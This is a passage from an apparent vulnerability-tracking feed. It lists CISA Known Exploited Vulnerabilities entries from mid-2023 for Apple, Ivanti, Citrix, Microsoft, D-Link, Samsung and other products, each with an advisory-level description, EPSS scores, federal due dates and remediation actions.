Apple Multiple Products Kernel Unspecified Vulnerability (Jul 26, 2023).
Apple iOS, iPadOS, macOS, tvOS, and watchOS contain an unspecified vulnerability allowing an app to modify a sensitive kernel state.
EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38606&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-38606: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38606&date=2026-10-25
CISA added this entry on 2023-07-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 26, 2023; federal due date Aug 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager Mobile Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2023-35078
Ivanti Endpoint Manager Mobile Authentication Bypass Vulnerability (Jul 25, 2023).
Ivanti Endpoint Manager Mobile (EPMM, previously branded MobileIron Core) contains an authentication bypass vulnerability that allows unauthenticated access to specific API paths. An attacker with access to these API paths can access personally identifiable information (PII) such as names, phone numbers, and other mobile device details for users on a vulnerable system. An attacker can also make other configuration changes including installing software and modifying security profiles on registered devices.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35078&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-35078: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35078&date=2026-10-25
CISA added this entry on 2023-07-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 25, 2023; federal due date Aug 15, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2023-29298
Adobe ColdFusion Improper Access Control Vulnerability (Jul 20, 2023).
Adobe ColdFusion contains an improper access control vulnerability that allows for a security feature bypass.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-29298&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-29298: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-29298&date=2026-10-25
CISA added this entry on 2023-07-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 20, 2023; federal due date Aug 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2023-38205
Adobe ColdFusion Improper Access Control Vulnerability (Jul 20, 2023).
Adobe ColdFusion contains an improper access control vulnerability that allows for a security feature bypass.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-38205&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-38205: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-38205&date=2026-10-25
CISA added this entry on 2023-07-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 20, 2023; federal due date Aug 10, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability
https://kevwire.com/record/CVE-2023-3519
Citrix NetScaler ADC and NetScaler Gateway Code Injection Vulnerability (Jul 19, 2023).
Citrix NetScaler ADC and NetScaler Gateway contains a code injection vulnerability that allows for unauthenticated remote code execution.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-3519&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-3519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-3519&date=2026-10-25
CISA added this entry on 2023-07-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 19, 2023; federal due date Aug 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Search Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-36884
Microsoft Windows Search Remote Code Execution Vulnerability (Jul 17, 2023).
Microsoft Windows Search contains an unspecified vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file, leading to remote code execution.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36884&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36884: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36884&date=2026-10-25
CISA added this entry on 2023-07-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 17, 2023; federal due date Aug 29, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SolarView Compact Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-29303
SolarView Compact Command Injection Vulnerability (Jul 13, 2023).
SolarView Compact contains a command injection vulnerability due to improper validation of input values on the send test mail console of the product's web server.
EPSS 98.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-29303&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-29303: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-29303&date=2026-10-25
CISA added this entry on 2023-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 13, 2023; federal due date Aug 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Code Execution Vulnerability
https://kevwire.com/record/CVE-2023-37450
Apple Multiple Products WebKit Code Execution Vulnerability (Jul 13, 2023).
Apple iOS, iPadOS, macOS, and Safari WebKit contain an unspecified vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 18.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-37450&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-37450: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-37450&date=2026-10-25
CISA added this entry on 2023-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 13, 2023; federal due date Aug 3, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows MSHTML Platform Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-32046
Microsoft Windows MSHTML Platform Privilege Escalation Vulnerability (Jul 11, 2023).
Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for privilege escalation.
EPSS 10.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32046&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32046: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32046&date=2026-10-25
CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Defender SmartScreen Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2023-32049
Microsoft Windows Defender SmartScreen Security Feature Bypass Vulnerability (Jul 11, 2023).
Microsoft Windows Defender SmartScreen contains a security feature bypass vulnerability that allows an attacker to bypass the Open File - Security Warning prompt.
EPSS 4.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32049&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32049: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32049&date=2026-10-25
CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Outlook Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2023-35311
Microsoft Outlook Security Feature Bypass Vulnerability (Jul 11, 2023).
Microsoft Outlook contains a security feature bypass vulnerability that allows an attacker to bypass the Microsoft Outlook Security Notice prompt.
EPSS 15.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-35311&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-35311: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-35311&date=2026-10-25
CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Error Reporting Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2023-36874
Microsoft Windows Error Reporting Service Privilege Escalation Vulnerability (Jul 11, 2023).
Microsoft Windows Error Reporting Service contains an unspecified vulnerability that allows for privilege escalation.
EPSS 42.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-36874&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-36874: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-36874&date=2026-10-25
CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Netwrix Auditor Insecure Object Deserialization Vulnerability
https://kevwire.com/record/CVE-2022-31199
Netwrix Auditor Insecure Object Deserialization Vulnerability (Jul 11, 2023).
Netwrix Auditor User Activity Video Recording component contains an insecure objection deserialization vulnerability that allows an unauthenticated, remote attacker to execute code as the NT AUTHORITY\SYSTEM user. Successful exploitation requires that the attacker is able to reach port 9004/TCP, which is commonly blocked by standard enterprise firewalling.
EPSS 36.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-31199&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-31199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-31199&date=2026-10-25
CISA added this entry on 2023-07-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 11, 2023; federal due date Aug 1, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-29256
Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Jul 7, 2023).
Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that may allow a non-privileged user to gain root privilege and/or disclose information.
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-29256&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-29256: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-29256&date=2026-10-25
CISA added this entry on 2023-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 7, 2023; federal due date Jul 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-859 Router Command Execution Vulnerability
https://kevwire.com/record/CVE-2019-17621
D-Link DIR-859 Router Command Execution Vulnerability (Jun 29, 2023).
D-Link DIR-859 router contains a command execution vulnerability in the UPnP endpoint URL, /gena.cgi. Exploitation allows an unauthenticated remote attacker to execute system commands as root by sending a specially crafted HTTP SUBSCRIBE request to the UPnP service when connecting to the local network.
EPSS 90.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-17621&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-17621: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-17621&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DWL-2600AP Access Point Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-20500
D-Link DWL-2600AP Access Point Command Injection Vulnerability (Jun 29, 2023).
D-Link DWL-2600AP access point contains an authenticated command injection vulnerability via the Save Configuration functionality in the Web interface, using shell metacharacters in the admin.cgi?action=config_save configBackup or downloadServerip parameter.
EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-20500&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-20500: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-20500&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2021-25487
Samsung Mobile Devices Out-of-Bounds Read Vulnerability (Jun 29, 2023).
Samsung mobile devices contain an out-of-bounds read vulnerability within the modem interface driver due to a lack of boundary checking of a buffer in set_skb_priv(), leading to remote code execution by dereference of an invalid function pointer.
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25487&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25487: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25487&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2021-25489
Samsung Mobile Devices Improper Input Validation Vulnerability (Jun 29, 2023).
Samsung mobile devices contain an improper input validation vulnerability within the modem interface driver that results in a format string bug leading to kernel panic.
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25489&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25489: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25489&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Race Condition Vulnerability
https://kevwire.com/record/CVE-2021-25394
Samsung Mobile Devices Race Condition Vulnerability (Jun 29, 2023).
Samsung mobile devices contain a race condition vulnerability within the MFC charger driver that leads to a use-after-free allowing for a write given a radio privilege is compromised.
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25394&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25394: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25394&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Race Condition Vulnerability
https://kevwire.com/record/CVE-2021-25395
Samsung Mobile Devices Race Condition Vulnerability (Jun 29, 2023).
Samsung mobile devices contain a race condition vulnerability within the MFC charger driver that leads to a use-after-free allowing for a write given a radio privilege is compromised.
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25395&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25395: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25395&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Unspecified Vulnerability
https://kevwire.com/record/CVE-2021-25371
Samsung Mobile Devices Unspecified Vulnerability (Jun 29, 2023).
Samsung mobile devices contain an unspecified vulnerability within DSP driver that allows attackers to load ELF libraries inside DSP.
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25371&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25371: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25371&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Improper Boundary Check Vulnerability
https://kevwire.com/record/CVE-2021-25372
Samsung Mobile Devices Improper Boundary Check Vulnerability (Jun 29, 2023).
Samsung mobile devices contain an improper boundary check vulnerability within DSP driver that allows for out-of-bounds memory access.
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-25372&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-25372: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-25372&date=2026-10-25
CISA added this entry on 2023-06-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 29, 2023; federal due date Jul 20, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-32434
Apple Multiple Products Integer Overflow Vulnerability (Jun 23, 2023).
Apple iOS. iPadOS, macOS, and watchOS contain an integer overflow vulnerability that could allow an application to execute code with kernel privileges.
EPSS 51.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32434&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32434: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32434&date=2026-10-25
CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2023-32435
Apple Multiple Products WebKit Memory Corruption Vulnerability (Jun 23, 2023).
Apple iOS, iPadOS, macOS, and Safari WebKit contain a memory corruption vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 23.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32435&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32435: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32435&date=2026-10-25
CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Type Confusion Vulnerability
https://kevwire.com/record/CVE-2023-32439
Apple Multiple Products WebKit Type Confusion Vulnerability (Jun 23, 2023).
Apple iOS, iPadOS, macOS, and Safari WebKit contain a type confusion vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 24.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32439&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32439: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32439&date=2026-10-25
CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Tools Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2023-20867
VMware Tools Authentication Bypass Vulnerability (Jun 23, 2023).
VMware Tools contains an authentication bypass vulnerability in the vgauth module. A fully compromised ESXi host can force VMware Tools to fail to authenticate host-to-guest operations, impacting the confidentiality and integrity of the guest virtual machine. An attacker must have root access over ESXi to exploit this vulnerability.
EPSS 13.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20867&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20867: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
